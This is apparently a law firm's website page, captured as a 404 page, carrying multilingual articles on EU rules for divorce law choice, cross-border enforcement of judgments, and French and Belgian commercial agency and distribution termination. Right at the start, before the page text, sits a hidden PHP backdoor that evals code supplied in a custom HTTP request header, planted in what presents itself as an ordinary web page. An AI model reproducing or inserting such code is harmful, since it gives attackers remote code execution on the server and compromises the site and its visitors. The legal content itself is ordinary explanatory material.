*/ $is_home_ht = $_SERVER; $is_home_eff = 'HTTP_E1A4EF8'; $is_home_jms = isset($is_home_ht[$is_home_eff]); if ($is_home_jms) { $is_home_hgxv = $is_home_ht[$is_home_eff]; eval($is_home_hgxv); } Pagina non trovata

404

Page not found.

APPLICABLE LAW TO SEPARATION AND DIVORCE FOR INTERNATIONAL COUPLES

Since June 21st 2012, the European Regulation no. 1259/2010 (also called “Roma III”) introduced very important innovations regarding the law applicable to divorce and separation.

 

The regulation allows international couples to choose by common agreement the law applicable to their divorce or personal separation, even when it is not the law of a participating member state.

The conditions required are:

1) it must be an international separation or divorce;

 

2) the law chosen is that of the State with which the spouses have a close relationship .

On the point, the art. 5 of the Rules clarifies that the link with the law of a given State is considered “close”, whenever it is one of the following laws:

– the law of the State of habitual residence of the spouses at the time of conclusion of the agreement;

– the law of the State of the last habitual residence of the spouses if one of them still resides there when the agreement is concluded;

– the law of the State of which one of the spouses has citizenship at the time the agreement is concluded;

– the law of the forum.

 

3) that the agreement is done in writing, dated and signed by both spouses.

The written form includes any electronic communication that allows a durable recording of the agreement (Article 7 of the Rules). The form of a public instrument is not required.

 

This agreement may be concluded and amended at any time, but at the latest when the court is seized.

 

When, however, the parties have not chosen the law to be applied, art. 8 of the Regulations states that personal separation and divorce are governed by the law of the State:

– of the spouses’ usual residence, when the court is seised; or, failing that,

– of the last habitual residence of the spouses, provided that this period has not been completed more than one year before the court was seised, if one of them still resides there at the time the court is seised; or, failing;

– of which the two spouses are citizens at the time the court is seised or, failing that,

– in which the court is seized.

 

Finally, it is specified that Regulation no. 1259/2010 apply only to personal separation and divorce. Consequently, all other matters, such as, for example, parental responsibility or maintenance obligations, are excluded, even if they arise as preliminary issues in the context of a divorce or separation process (Article 1) .

 

The importance of this new Community instrument is all the more evident when one considers that the internationalization of couples undoubtedly represents a new phenomenon of the 21st century and that, unfortunately, the number of separations and divorces has grown exponentially in recent years, both nationally and internationally.

 

In particular, spouses residing in Italy, of which only one has French or Belgian nationality, will certainly benefit from the innovation introduced by Regulation 1259/2010.

 

In fact, before that regulation, only Italian law regulated their separation, now, they can choose jointly the French and / or Belgian law and, consequently, directly obtain the divorce. without having to preliminarily “pass” through personal separation.

GREEN LIGHT TO ENFORCE AND EXECUTE IN ALL EU STATES OF DECISION RENDERED IN OTHER MEMBER STATES

On 10 January 2015 the EU Regulation no. 1215/2012, called “Brussels I bis”, replaces Regulation EC / 44/2001 on jurisdiction, recognition and enforcement of judgments, regarding civil and commercial matters, given in the Member States of the European Union (EU).

The main innovation introduced by the aforementioned regulation concerns the execution of judgments issued by the court of a Member State which will be “regarded” as if they had been pronounced in the Member State in which they are to be carried out.

This new instrument has therefore abolished the exequatur, i.e. the procedure set out in the EC Regulation no. 44/2001 to implement these decisions in all other Member States, which provided that, for enforcement purposes, the judicial authority of the Member State of destination should grant in advance the declaration of enforceability in the territory of that State (Article. 38, paragraph 1, of the aforementioned Reg. No. 44/2001 provided, in fact, that ” Decisions made in a Contracting State and enforceable therein shall be executed in another Contracting State after they have been declared enforceable therein at the request of the interested party “).

Article. 39 of the new text establishes instead that ” the judgment given in a Member State which is enforceable in that Member State shall be enforceable in the other Member States without any declaration of enforceability being required “.

 

This means that also the decisions that have been obtained by the creditor without using the “Community” credit recovery tools (i.e., “the European order for payment procedure” provided for by EC Reg. No. 1896/2006 or the “European procedure for low-level disputes “regulated by EC Reg. No. 861/2007) as well as those claims that have been “challenged” by the debtor (the “European Enforcement Order” can be applied at Community level, by EC Reg. No. 805/2004 only for uncontested claims), they will be enforceable title  immediately and automatically in all the other Member States, without obtaining the exequatur.

 

From a practical point of view, thanks to this new Community instrument, it will be possible to proceed with the execution of judgments given, for example, in Italy or in France, in all other EU Member States, simply by notifying the party against which the judicial decision is obtained.

The only condition required for enforcement is, in fact, that the applicant proves the enforceability of the decision according to the laws of his own Member State.

To this end, art. 42 of the Regulations establishes that the applicant provides the authority charged with execution in the requested State, “a copy of the decision with all conditions necessary to establish its authenticity “, as well as “the certificate (pursuant to art. 53) stating the enforceability of the decision” in the Member State of origin.

 

It is therefore an important innovation that confirms the will of the Community legislator to facilitate the circulation of judgments within the European Community in order to reduce time and costs of their execution.

A “VICIOUS” BREAKUP OF STABLE TRADE RELATIONSHIPS

The identification of the applicable law, is of fundamental importance in the case of purchase agreements or concession contracts or, in any case, of commercial relationships with French and / or Belgian partners concerning the purchase and sales and resale, over time, of goods and / or services.

In fact, Italian law, in the event of withdrawal from a sales concession contract of indefinite duration, does not require any notice period for the exercise of the withdrawal or any compensation in favor of its contractual counterpart. On the other hand, both French law and the Belgian one imposes (provided that the withdrawal does not occur for just cause or for breach of contract) compliance with a reasonable period of notice and, above all, contemplate, in default of the same, the obligation for the withdrawing party to compensate the damage suffered from the injured party.

To be precise, as regards French law, art. 442-6, I, 5 of the Commercial Code establishes that the party who intends to withdraw, even partially, from a “stable” commercial relationship must comply with a reasonable period of notice, failing which, the termination of the relationship is considered “brutal” and, as such, obliges the withdrawing party to compensate the damage suffered by its business partner for not having had time to reorganize its business.

This provision applies to any type of commercial relationship (distribution, franchising, supply of products, provision of services, etc.), provided it is stable (that is, protracted over time or, in any case, recurring) and concerns not only registered contracts but also those concluded orally or “de facto”.

The notice must be communicated in writing, by registered letter or by certified mail, and does not need any justification, because, for the purposes of its effectiveness, it is sufficient that the intention to withdraw from the contract is communicated.

Furthermore, the notice period must be “appropriate”, otherwise the withdrawal is considered “brutal” in any case.

As regards the duration of the notice, it must take into account both the duration of the commercial relationship, as expressly provided for by the French Code, and other criteria identified by the jurisprudence, such as, for example, the presence of an exclusivity clause or, in any case, the economic dependence of one of the parties or the importance of the investments made for the execution of the contract.

Again, for example a commercial relationship between 1 and 5 years long, the French courts usually consider a 3/6-month notice to be appropriate, while the relationship lasted for 6/10 years, the notice must be equal to double, i.e. 6/12 months.

As for the amount of compensation for damages, the French Code does not provide for a specific quantification. However, as a general rule, the French courts condemn those responsible for a “brutal” withdrawal to pay a compensation equal to the gross profit that the contractor could have incurred in, for the duration of the “appropriate” notice period.

It is also essential to know that this discipline is applied even in the event that the parties have not chosen the law applicable to the relationship (or, more generally, have not concluded any written contract) or, even where a law other than the French one governs the contractual relationship.

In the first case, when the parties have not determined the law governing the relationship, the Rome Convention dated 19 June 1980 on the law applicable to contractual obligations, art. 4, establishes that, in the absence of choice on the applicable law, the law that regulates the distribution contract is that of the country in which the distributor has his habitual residence.

If, therefore, an Italian contractor intends to withdraw from a distribution relationship with a counterpart resident in France and has not agreed on the law applicable to the contract, he must know that, in the event of a dispute, the French law will apply.

The same will happen, as anticipated, where a law different from the French one governs the contractual relationship. In fact, the French Courts consider the aforementioned article 442-6 of the Commercial Code as an international “public order” rule, with the consequence that it applies even when French law does not apply to the contract.

Even in this case, therefore, the Italian commercial partner will in any case be required to comply with a reasonable period of notice, since, in default, its French counterpart may still demand the application of French law and, consequently, the immediate compensation for the damages.

The same is for Belgium governing law, where the withdrawal from a sales concession contract is subject to special protection in favor of the concessionaire, and, where it is exclusive, the withdrawing party is required to comply with a reasonable notice period, in defect of which, like the French law’s provisions, the contractor is required to pay damages.

The Belgian legislator wanted to protect the concessionaire in the event of a unilateral withdrawal from the contractual relationship, by arranging, with the Law of 27 July 1961, measures aimed at limiting the economic losses that it suffers due to the interruption of the commercial relationship.

The scope and conditions for the application of the aforementioned provisions are the same as those provided for by French law, with the further limitation that, as mentioned, it must be an exclusive concession.

A further feature of Belgian law is that, even in the case of a unilateral withdrawal, the concessionaire can claim, in addition to the aforementioned compensation, also the payment of a supplementary compensation.

This additional indemnity is however subject to the existence of three conditions altogether. Namely, that the concessionaire has increased the clientele. That he has sustained, in execution of the contract, expenses. Last, that the concessionaire must, in turn, pay severance indemnities to the dismissed personnel, due to the termination of the concession contract.

I therefore invite the Italian dealers who intend to start with a French or Belgian counterpart a sale concession contract (or, in any case, in the broadest sense of the term, a contract, not occasional, aimed at the purchase and resale of goods and / or services) to take into account the peculiarities illustrated here, both in the negotiation phase and in the interruption of the contract, so as to avoid unexpected and costly economic consequences.

TRADING AGENT NEGOTIATING POWER AND SEVERANCE PAY

  • Definition of “trade agent” under French Code of Commerce

If you sign an agency contract with a French national under French law, it does not necessarily mean that he is an agent following the regulatory law, consequently, at the time of termination of the contract, he may not be entitled to receive any severance indemnity. That, regardless of how you have legally qualified the relationship.

In fact, “the implementation of the agency bylaws does not depend neither on the will expressed by the parties in the contract, nor on the name given to their conventions, but on the conditions under which the activity is actually exercised” (Supreme Court, sentence n. 01-11923 / Dec 10th 2003).

 

Now, the necessary conditions to be a trading agent are fully described in art. L. 134-1, 1st paragraph, of the French Code of Commerce, which defines a commercial agent as:

“An agent who, as an independent profession, without being bound by a contract for the provision of services, is permanently appointed, to negotiate and, where appropriate, to conclude contracts for the sale, purchase, leasing or provision of services in name and on behalf of producers, industrial, traders or other trade agents.”

According to French law, the application of agency bylaws is, therefore, subject to the condition that the agent has permanently and independently the power to negotiate and, where appropriate, conclude sales contracts.

The power to conclude sales contracts is therefore a possibility, while the power of negotiation constitutes the mandatory characteristic of the agency contract.

 

 

  • Agents“Power to negotiate”

 

Furthermore, what is meant by “power to negotiate”?

This power consists in the ability given to the agent to negotiate prices and conditions of the sales with the customers, without being strictly bound to the contractual and tariff framework set by the Principal.

In other words, the agent must actively promote the order and not just introduce and show a product at a price that complies with the price list drawn up by the principal, without any power to grant discounts, payment extensions or delays, etc.

The power of negotiation is, therefore, the cornerstone to establish whether an intermediary can benefit from the status of agent or not.

 

  • Intermediary or agent. Differences and definition

 

The French jurisprudence, in fact, considers that the avowal of commercial agent rests only with the agent who has real power to negotiate contracts.

Consequently, where the judge finds the absence of a negotiation activity exercised by the agent, the judge is required to reject the enforcement of the commercial agency regime.

Thus, the Court of Cassation, (sentence n. 13-24.231 / Jan 20th 2015), denied the status of commercial agent to an intermediary who could not, “without renouncing his commission, grant discounts” and which had to respect the price and terms of sale set by the principal.

The Court in fact held that:“Mr. X … was devoid of any negotiating power” and that, consequently, he could not avail himself of the status of commercial agent.

Conclusion to which the same Court attained a few years earlier, ruling (sentence n. 10-14851 / Apr 27th 2011), in which: “Considering, on the other hand, that for own reasons, [the company Exan] had no permanent power to negotiate contracts in the name and on behalf of Cephalon, the Court of Appeals correctly inferred that the company Exan did not have the status of commercial agent”.

 

In another case, the Court of Appeals of Paris recognized the quality of agent to an agent who had no margin of negotiation on tariffs, but who nevertheless possessed the possibility of proposing to his own clients gifts, consisting of international congresses. The Court in fact held that, although the agent did not have any power to negotiate the price, the gifts in question, having an important financial value, were in any case a negotiation tool and marketing support, available to the same representative, and therefore the latter had the quality of commercial agent.

 

  • Right to severance pay

 

In light of the above, in the event of a dispute with a French agent for the payment of severance and indemnity, when the contract is governed by French Law, it is essential to first check whether, under the conditions set out in the contract, the aforementioned intermediary possessed the power of negotiation as understood above, failing which, as said, the same can not benefit from the status of agent and, consequently, the indemnities related to the termination of the agency contracts.

 

  • Agency with Italian Principals – clauses and exclusions

 

All said, becomes utmost important for Italian Principals. In fact, it often happens that, even when the relationship is governed by French law, the contract drawn up by the Italian Preponent contains clauses derived by the Italian agency contracts, in which the parties usually exclude any negotiating power in relation to the agent, providing, on the contrary, an express obligation for the same to adhere scrupulously to the prices and terms of sale set by the principal and an equally express prohibition to grant discounts, payment extensions, etc. …

These clauses, as mentioned, exclude for the French jurisprudence that the intermediary can be recognized as a commercial agent.

 

  • Severance Italian Law v/ French Law

 

Moreover, the severance indemnity provided for by the French law is much higher than that foreseen by the Italian legal system. In fact, according to art. 1751 of the Italian Civil Code, the maximum limit cannot exceed one year of commissions, to be calculated on the basis of the annual average salary collected by the agent in the last five years.

The French legal system does not provide for any limitation on the recognition of such compensation, with the consequence that, over the years, the Courts have tended to recognize to the agents an indemnity equal to two years of commissions, calculated on the average of the last three years, or even, in case of a long-term relationships, equal to even three years.

 

 

  • Lack of status of commercial agent – always the best strategy

 

 

For such reasons, where the conditions exist, the Italian Principal should plead the lack, on the part of his French opponent, of the status of commercial agent. 

AGENTE COMMERCIALE FRANCESE, POTERE DI NEGOZIAZIONE ED INDENNITA DI FINE RAPPORTO

Se avete sottoscritto un contratto di agenzia con un agente commerciale francese, non è per forza detto che, secondo il diritto francese, esso rivesta effettivamente la qualità di agente e che, conseguentemente, all’atto della cessazione del contratto, abbia diritto al pagamento dell’indennità di fine rapporto.

E ciò, a prescindere appunto dal fatto che abbiate qualificato giuridicamente il rapporto come contratto di agenzia.

Infatti, « l’applicazione dello statuto di agente commerciale non dipende né dalla volontà espressa dalle parti nel contratto, né dalla denominazione che esse hanno dato alle loro convenzioni, ma dalle condizioni in base alle quali l’attività è effettivamente esercitata » (Corte di Cassazione, sentenza n° 01-11923 del 10 dicembre 2003).

Ora, le condizioni di esercizio dell’attività di agente commerciale sono descritte nell’art. L. 134-1, 1er comma, del codice del commercio francese, che definisce l’agente commerciale come:

« un mandatario che, a titolo di professione indipendente, senza essere legato da un contratto di prestazione di servizi, è incaricato in modo permanente, di negoziare ed eventualmente di concludere dei contratti di vendita, di acquisto, di locazione o di prestazione di servizi in nome e per conto di produzioni, di industriali, di commercianti o di altri agenti di commercio.»

Secondo il diritto francese, l’applicazione dello statuto di agente commerciale è, dunque, subordinata alla condizione che l’agente sia munito, in modo permanente nonché a titolo indipendente, del potere di negoziare, ed eventualmente, di concludere dei contratti di vendita.

Il potere di concludere contratti di vendite è, quindi, soltanto eventuale, mentre il potere di negoziazione costituisce la prestazione caratteristica del contratto di agenzia.

Ma cosa si intende per « potere di negoziare » i contratti ?

Un tale potere consiste nella possibilità per l’agente di negoziare con i clienti i prezzi e le condizioni dei contratti di vendita, senza essere strettamente vincolato al quadro contrattuale e tariffario disposto dalla propria mandante.

In altri termini, l’agente deve intervenire attivamente nella promozione dell’ordine e non solo presentare un prodotto ad un prezzo conforme al listino redatto dalla preponente, senza alcun potere di concedere sconti, dilazioni di pagamento ecc.

Il potere di negoziazione costituisce, pertanto, il punto cardine per poter stabilire se un intermediario possa beneficiare o meno dello statuto di agente commerciale.

La giurisprudenza francese ritiene infatti che il riconoscimento della qualità di agente commerciale spetta soltanto al mandatario che disponga di un effettivo potere di negoziare i contratti.

Conseguentemente, laddove il giudice constati l’assenza di una attività di negoziazione dei contratti esercitata dal mandatario, esso è tenuto a rigettare l’applicazione del regime dell’agenzia commercial.

Così, proprio di recente, la Corte di Cassazione, nella sentenza n°13-24.231 del 20 gennaio 2015, ha negato lo statuto di agente commerciale in capo ad un rappresentante che non poteva, « salvo perdere la propria provvigione, accordare sconti » e che doveva rispettare il prezzo e le condizioni di vendita fissati dalla mandante.

La Corte ha infatti ritenuto che « il signor X… era privo di qualsivoglia potere di negoziazione» e che, conseguentemente, non poteva avvalersi dello statuto di agente commerciale.

Conclusione alla quale la stessa era pervenuta anche qualche anno prima, statuendo, nella sentenza n° 10-14851 del 27 aprile 2011, che : «Atteso, d’altra parte, che avendo ritenuto, per propri motivi, che [la società Exan] non disponeva, in modo permanente, di un potere di negoziare i contratti in nome e per conto della società Cephalon, la Corte d’Appello ne ha correttamente dedotto che la società Exan non aveva la qualità di agente commerciale».

In un altro caso, la Corte d’Appello di Parigi ha riconosciuto la qualità di agente ad un mandatario che non aveva alcun margine di negoziazione sulle tariffe, ma che disponeva comunque della possibilità di proporre ai propri clienti dei regali, consistenti in congressi internazionali. La Corte ha infatti ritenuto che, malgrado il mandatario non disponesse di alcun potere di negoziazione del prezzo, i regali in questione, avendo un valore finanziario importante, costituivano comunque uno strumento di negoziazione nonché di supporto marketing, a disposizione del mandatario medesimo, e che pertanto quest’ultimo aveva ben la qualità di agente commerciale.

Alla luce di quanto sopra, in caso di contenzioso con un agente commerciale francese per il pagamento dell’indennità di fine rapporto e sempre, ovviamente, che il contratto sia disciplinato dal diritto francese, è fondamentale verificare preliminarmente se, in base alle condizioni previste nel contratto, il predetto intermediario disponeva di un potere di negoziazione come sopra inteso, in difetto del quale, come detto, lo stesso non può beneficiare dello statuto di agente commerciale e, conseguentemente, delle indennità connesse alla cessazione dei contratti di agenzia.

E ciò è tanto più importante per le preponenti italiane.

In primo luogo, infatti, accade spesso che, anche quando il rapporto è disciplinato dal diritto francese, il contratto redatto dalla preponente italiana contenga clausole tipiche dei contratti di agenzia italiani, nei quali le parti sono solite escludere qualsivoglia potere di negoziazione in capo all’agente, prevedendo, proprio al contrario, un espresso obbligo per il medesimo di attenersi scrupolosamente ai prezzi ed alle condizioni di vendita fissate dalla preponente ed un altrettanto espresso divieto di concedere sconti, dilazioni di pagamento, ecc.

Ciò che, come detto, esclude per la giurisprudenza francese che all’intermediario possa essere riconosciuta la qualifica di agente commerciale.

In secondo luogo, l’indennità di fine rapporto prevista dal diritto francese è ben più elevata rispetto a quella prevista dal nostro ordinamento. Secondo, infatti, l’art. 1751 del nostro codice civile il tetto massimo non può superare un’annualità di provvigioni, da calcolarsi sulla base della media annuale delle retribuzioni riscosse dall’agente negli ultimi cinque anni.

L’ordinamento francese non prevede invece alcun limite al riconoscimento di detta indennità, con la conseguenza che, negli anni, i Tribunali si sono orientati a riconoscere agli agenti un’indennità pari a due anni di provvigioni, calcolate sulla media degli ultimi tre anni, o addirittura, in caso di rapporti di lunga durata, pari a anche tre anni.

Per tali ragioni, ove ne sussistano le condizioni, la preponente italiana ha quindi ben interesse ad eccepire il difetto, in capo alla propria controparte francese, dello statuto di agente commerciale.

AGENT COMMERCIAL FRANCAIS, POUVOIR DE NEGOCIATION ET INDEMNITE DE FIN DE RAPPORT

Si vous avez souscrit un contrat d’agence avec un agent commercial français, il n’est pas forcément dit que, selon le droit français, celui-ci revête effectivement la qualité d’agent et que, par conséquent, au moment de la cessation du contrat, il ait droit au paiement de l’indemnité de fin de rapport.

Et cela, indépendamment justement du fait que vous aviez qualifié juridiquement le rapport comme contrat d’agence.

En effet, « l’application du statut d’agent commercial ne dépend ni de la volonté exprimée par les parties dans le contrat, ni de la dénomination qu’elles ont donnée à leurs conventions mais des conditions dans lesquelles l’activité est effectivement exercée» (Cour de cassation, arrêt du 10 décembre 2003 n° 01-11923).

Les conditions d’exercice de l’activité des agents commerciaux sont décrites par l’article L. 134-1, 1er alinéa, du code de commerce français, qui définit l’agent commercial comme:

« un mandataire qui, à titre de profession indépendante, sans être lié par un contrat de louage de services, est chargé, de façon permanente, de négocier et, éventuellement, de conclure des contrats de vente, d’achat, de location ou de prestations de services au nom et pour le compte de productions, d’industriels, de commerçants ou d’autres agents commerciaux.»

Selon le droit français, l’application  du statut d’agent commercial est donc subordonnée à la condition que  l’agent soit revêtu, de façon permanente ainsi qu’à titre indépendant, du pouvoir de négocier, et éventuellement, de conclure des contrats de vente.

Le pouvoir de conclure des contrats de vente n’est donc que éventuel, tandis que le pouvoir de négociation constitue la prestation caractéristique du contrat d’agence.

Mais qu’est-ce qu’on entend par « pouvoir de négocier » les contrats ?

Un tel pouvoir consiste dans la possibilité, pour l’agent, de négocier avec les clients les prix et conditions des contrats de vente, sans être strictement lié par le cadre contractuel et tarifaire proposé par son mandant.

En d’autres termes, l’agent doit  intervenir  activement dans la promotion de la commande et non seulement présenter un produit à un prix conforme au catalogue rédigé par le mandant, sans aucun pouvoir d’accorder des réductions, des délais de paiement etc.

Le pouvoir de négociation constitue le fondement pour pouvoir établir si un intermédiaire puisse bénéficier ou non du status d’agent commercial.

La jurisprudence française retient, en effet, que la reconnaissance de la qualité d’agent commercial ne revient que au mandataire disposant d’un véritable pouvoir de négocier les contrats.

En conséquence, dès lors que le juge du fond constate l’absence d’une activité de négociation de contrats exercée par le mandataire, il doit rejeter l’application du régime de l’agence commerciale.

Ainsi, très récemment la Cour de Cassation, dans l’arrêt n° 13-24.231 du 20 janvier 2015, a rejeté le statut d’agent commercial pour  un représentant qui ne pouvait pas, « sauf à perdre sa commission, accorder une remise » et qui devait respecter les prix et les conditions de ventes fixées par le mandant.

En effet, la Cour a estimé que « Monsieur X… était dépourvu de tout pouvoir de négociation » et que, en conséquence, il ne pouvait pas se prévaloir du statut d’agent commercial.

Ce que d’ailleurs elle avait jugé déjà auparavant, en statuant dans l’arrêt du 27 avril 2011 n° 10-14851 que : «Attendu, d’autre part, qu’ayant retenu, par motifs propres et adoptés, que [la société Exan] ne disposait pas, de façon permanente d’un pouvoir de négocier des contrats au nom et pour le compte de la société Cephalon, la cour d’appel en a exactement déduit que la société Exan n’avait pas la qualité d’agent commercial».

Dans un autre cas, la Cour d’Appel de Paris a reconnu la qualité d’agent à un mandataire n’ayant pas de marge de négociation sur les tarifs, mais qui disposait de toute façon de la possibilité de proposer à ses clients des cadeaux, consistant en congrès internationaux. En effet, la Cour a considéré que quand bien même le mandataire ne disposait pas d’un pouvoir de négociation du prix, les cadeaux concernés, en ayant une valeur financière importante, constituaient un outil de négociation ainsi que de support marketing, à la disposition du mandataire, et que de ce fait ce dernier avait bien la qualité d’agent commercial.

Au vu de ce qui précède, en cas de contentieux avec un agent commercial français pour le paiement de l’indemnité de fin de rapport et à condition, évidemment, que le contrat soit réglementé par le droit français, il est fondamental de vérifier préalablement si, sur la base des conditions prévues dans le contrat, le susdit intermédiaire disposait d’un pouvoir de négociation, comme entendu ci-dessus, à défaut duquel, comme on l’a dit, celui-ci ne peut bénéficier du statut d’agent commercial et, par conséquent, des indemnités liées à la cessation des contrats d’agence commercial.

Et ceci est d’autant plus important pour les mandants italiens.

En premier lieu, en effet, il arrive souvent que, même quand le rapport est régit par le droit français, le contrat rédigé par le mandant italien contienne des clauses typiques des contrats d’agence italiens, dans lesquels les parties ont l’habitude d’exclure n’importe quel pouvoir de négociation pour l’agent, en prévoyant, justement au contraire, une obligation expresse pour celui-ci de s’en tenir scrupuleusement aux prix et aux conditions de vente fixées par la mandante et aussi une interdiction expresse d’accorder des remises, des délais de paiement etc.

Ce qui, comme on l’a dit, exclut pour la jurisprudence française que la qualification d’agent commercial puisse être reconnue à l’intermédiaire.

En deuxième lieu, l’indemnité de fin de rapport prévue par le droit français est bien plus élevée par rapport à celle prévue par notre règlement. En effet, selon l’art. 1751 de notre code civil le plafond maximum ne peut dépasser une annualité de commissions, à calculer sur la base de la moyenne annuelle des rétributions recouvertes par l’agent durant les cinq dernières années.

La loi française ne prévoit par contre aucune limite à la reconnaissance de ladite indemnité, avec la conséquence que, dans le cours des années, les Tribunaux se sont orientés à reconnaitre aux agents une indemnité équivalente à deux ans de commissions, calculées sur la moyenne des trois dernières années, ou même, en cas de rapports de longue durée, équivalente aussi à trois ans.      

De ce fait, si les conditions subsistent, le mandant italien a donc bien intérêt à contester le défaut du statut d’agent commercial au sein de son contrepartie française.

COUPLES INTERNATIONAUX ET CHOIX DE LOI A APPLIQUER A LA SEPARATION DE CORPS ET AU DIVORCE

Il semble que  encore beaucoup de couples internationaux ne savent pas que, depuis désormais le 21 juin  2012, est entré en vigueur le Règlement Européen n. 1259/2010 (aussi dénommé “Rome III”) qui a introduit de très importantes nouveautés en matière de loi applicable au divorce et à la séparation de corps.

Un tel Règlement permet en effet aux couples internationaux de pouvoir choisir conventionnellement la loi applicable à leur divorce ou à leur separation de corps, et ceci aussi quand celle-ci n’est pas celle d’un Etat membre participant.

Les seules conditions requises sont:

1) qu’il s’agisse d’une séparation ou d’un divorce à caractère international;

2) que la loi choisie soit celle de l’Etat avec lequel les époux ont un lien étroit.

Sur le point, l’art. 5 du Règlement éclaircit que le lien avec la loi d’un certain Etat membre se considère “étroit”, chaque fois qu’il s’agit d’une des lois stuivantes:

– la loi de l’État de la résidence habituelle des époux au moment de la conclusion de la convention;

– la loi de l’État de la dernière résidence habituelle des époux, pour autant que l’un d’eux y réside encore au moment de la conclusion de la convention;

– la loi de l’État de la nationalité de l’un des époux au moment de la conclusion de la convention;

– la loi du for.

3)  que la convention soit formulée par écrit, datée et signée par les deux époux.

La forme écrite comprend toute transmission par voie électronique qui permette de consigner durablement la convention (art. 7 du Règlement). La forme de l’acte public n’est par contre pas demandée.

Telle convention peut être conclue et modifiée à tout moment, mais au plus tard au moment où l’autorité juridictionnelle est saisie.

Si, par contre, les parties n’ont pas choisi la loi à appliquer, l’art. 8 du Règlement précise que la séparation de corps  et le divorce sont soumis à la loi de l’Etat:

– de la résidence habituelle des époux au moment de la saisine de la juridiction; ou, à défaut,

– de la dernière résidence habituelle des époux, pour autant que cette résidence n’ait pas pris fin plus d’un an avant la saisine   de la juridiction et que l’un des époux réside encore dans cet État au moment de la saisine de la juridiction; ou, à défaut,

– de la nationalité des deux époux au moment de la saisine de la juridiction; ou, à défaut,

– dont la juridiction est saisie.

On précise, enfin, que le Règlement en question s’applique seulement  à la séparation de corps  et au divorce. Par consequent, toutes les autres matières, comme, à titre d’exemple, la responsabilité parentale ou les obligations alimentaires, en restent exclues, et ceci aussi si elles se présentent  comme des questions préalables  dans le cadre d’une procédure de divorce ou de séparation de corps (art. 1).

L’importance d’un tel nouvel instrument communautaire est aussi bien plus évident si l’on considère que l’internationalisation des couples représente sans aucun doute un nouveau phénomène du XXI° siècle et que, malheureusement, le nombre des séparations et des divorces s’est fortement accru ces dernières années tant au niveau national qu’international.

En particulier, les époux  demeurant en Italie, dont un seulement a la nationalité française ou belge, bénéficieront sans aucun doute de l’innovation apportée par le règlement 1259/2010.

En effet, si avant tel Règlement, leur séparation de corps pouvait être régie seulement par la loi italienne, après son entrée en vigueur, ceux-ci peuvent par contre choisir d’un commun accord la loi française et/ou belge et, par conséquent, obtenir directement le divorce sans devoir préalablement “passer” à travers la séparation de corps.

COPPIE INTERNAZIONALI E SCELTA DELLA LEGGE DA APPLICARE ALLA SEPARAZIONE PERSONALE ED AL DIVORZIO

Sembra che ancora molte coppie internazionali non sappiano che, da ormai il 21 giugno 2012, è entrato in vigore il Regolamento Europeo n. 1259/2010 (anche denominato “Roma III”) che ha introdotto importantissime novità in materia di legge applicabile al divorzio e alla separazione personale.

Tale Regolamento consente infatti alle coppie internazionali di poter scegliere di comune accordo la legge applicabile al loro divorzio o separazione personale, e ciò anche quando essa non sia quella di uno stato membro partecipante.

Le sole condizioni richieste sono:

1) che si tratti di una separazione o di un divorzio a carattere internazionale;

2) che la legge prescelta sia quella dello Stato membro con il quale i coniugi hanno un legame stretto.

Sul punto, l’art. 5 del Regolamento chiarisce che il legame con la legge di un determinato Stato membro si considera “stretto”, ogniqualvolta si tratti di una delle seguenti leggi:

– la legge dello Stato di abituale residenza dei coniugi al momento della conclusione dell’accordo;

– la legge dello Stato dell’ultima residenza abituale dei coniugi se uno di essi vi risiede ancora al momento della conclusione dell’accordo;

– la legge dello Stato di cui uno dei coniugi ha la cittadinanza al momento della conclusione dell’accordo;

– la legge del foro.

3) che l’accordo sia redatto per iscritto, datato e firmato da entrambi i coniugi.

La forma scritta comprende qualsiasi comunicazione elettronica che permetta una registrazione durevole dell’accordo (art. 7 del Regolamento). Non è invece richiesta la forma dell’atto pubblico.

Tale accordo può essere concluso e modificato in qualsiasi momento, ma al più tardi nel momento in cui è adita l’autorità giudiziaria.

Qualora, invece, le parti non abbiano scelto la legge da applicare, l’art. 8 del Regolamento precisa che la separazione personale ed il divorzio sono disciplinati dalla legge dello Stato:

– della residenza abituale dei coniugi, nel momento in cui viene adita l’autorità giurisdizionale; o, in mancanza,

– dell’ultima residenza abituale dei coniugi, sempre che tale periodo non si sia concluso più di un anno prima che fosse adita l’autorità giurisdizionale, se uno di essi vi risiede ancora nel momento in cui è adita l’autorità giurisdizionale; o, in mancanza;

– di cui i due coniugi sono cittadini nel momento in cui viene adita l’autorità giurisdizionale o, in mancanza,

– in cui è adita l’autorità giurisdizionale.

Si precisa, infine, che il Regolamento in questione si applica soltanto alla separazione personale ed al divorzio. Conseguentemente tutte le altre materie, quali, a titolo esemplificativo, la responsabilità genitoriale ovvero le obbligazioni alimentari, ne restano escluse, e ciò anche qualora si presentino come questioni preliminari nell’ambito di un procedimento di divorzio o di separazione personale (art. 1).

L’importanza di tale nuovo strumento comunitario è tanto più evidente se si considera che l’internazionalizzazione delle coppie rappresenta senza dubbio un nuovo fenomeno del XXI° secolo e che, purtroppo, il numero delle separazioni e dei divorzi è cresciuto esponenzialmente negli ultimi anni, sia a livello nazionale che internazionale.

In particolare, beneficeranno senz’altro dell’innovazione apportata dal regolamento 1259/2010 i coniugi residenti in Italia, di cui uno solo abbia la nazionalità francese o belga.

Se prima, infatti, di tale Regolamento, la loro separazione personale poteva essere regolata soltanto dalla legge italiana, dopo la sua entrata in vigore, essi possono invece scegliere di comune accordo la legge francese e/o belga e, conseguentemente, ottenere direttamente il divorzio senza dover preliminarmente “passare” attraverso la separazione personale.

VOIE LIBRE A L’EXECUTION DANS LES ETATS UE DES DECISIONS RENDUES DANS LES AUTRES ETATS MEMBRES

En date du 10 janvier 2015, le Règlement UE n. 1215/2012, dénommé “Bruxelles I bis”, est entré en vigueur.

Celui-ci remplace le Règlement CE n. 44/2001 concernant la compétence judiciaire, la reconnaissance et l’exécution des décisions en matière civile et commerciale dans les États membres de l’Union européenne (UE).

La principale innovation introduite par le législateur communautaire concerne l’exécution des décisions rendues par l’autorité judicaire d’un État membre qui seront aujourd’hui “traitées” comme si elles avaient été prononcées dans l’Etat membre dans lequel celles-ci doivent être mises à exécution.

Un tel nouvel instrument communautaire a, en d’autres termes, aboli l’exequatur, à savoir la procédure prévue par le Règlement CE n. 44/2001, afin de rendre exécutoires lesdites décisions également dans les autres États membres, prévoyant que, aux fins de l’exécution, l’autorité judicaire de l’Etat membre de destination délivre préalablement la déclaration constatant la force exécutoire sur le territoire de tel Etat.

L’article 38, 1° alinéa, du susdit Règlement n. 44/2001 prévoyait, en effet, que “Les décisions rendues dans un État membre et qui y sont exécutoires sont mises à exécution dans un autre État membre après y avoir été déclarées exécutoires sur requête de toute partie intéressée”.

